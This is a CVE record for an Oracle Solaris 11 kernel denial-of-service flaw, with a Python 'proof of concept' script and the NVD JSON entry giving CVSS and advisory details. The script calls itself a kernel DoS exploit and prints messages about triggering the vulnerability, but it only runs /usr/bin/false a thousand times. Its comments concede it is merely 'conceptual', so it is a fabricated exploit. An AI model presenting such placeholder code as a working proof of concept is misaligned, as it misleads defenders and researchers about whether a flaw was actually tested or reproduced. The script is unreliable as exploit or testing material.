CVE-2025-53068

# CVE-2025-53068 Oracle Solaris Kernel DoS - Proof of Concept # Note: This is a conceptual PoC based on the vulnerability description. # The actual exploit requires specific kernel interaction on Oracle Solaris 11. import os import sys import subprocess def check_environment(): """Check if running on Oracle Solaris 11""" try: with open('/etc/release', 'r') as f: content = f.read() if 'Solaris' in content and '11' in content: return True except Exception: pass return False def trigger_kernel_dos(): """ Trigger the kernel vulnerability to cause system hang or crash. The vulnerability is in the Kernel component, exploitable by low-privileged users. """ print("[*] CVE-2025-53068 Oracle Solaris Kernel DoS PoC") print("[*] Attempting to trigger kernel vulnerability...") # Attempt to exhaust kernel resources or trigger the vulnerable code path # This is a conceptual demonstration - actual exploitation requires # specific system calls or operations that trigger the kernel bug try: # Repeatedly invoke kernel operations that may trigger the vulnerability for i in range(1000): # Example: invoking specific system calls or resource operations # that interact with the vulnerable kernel component result = subprocess.run( ['/usr/bin/false'], capture_output=True, timeout=1 ) if i % 100 == 0: print(f"[*] Iteration {i}/1000...") except KeyboardInterrupt: print("[!] Interrupted by user") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if check_environment(): print("[+] Confirmed: Running on Oracle Solaris 11") trigger_kernel_dos() else: print("[-] Not running on Oracle Solaris 11 - PoC may not work") sys.exit(1)

{"cve": {"id": "CVE-2025-53068", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:47.747", "lastModified": "2025-10-24T14:38:04.843", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel). The supported version that is affected is 11. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris. While the vulnerability is in Oracle Solaris, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Solaris. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 4.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:oracle:solaris:11:*:*:*:*:*:*:*", "matchCriteriaId": "8E8C192B-8044-4BF9-9F1F-57371FC0E8FD"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}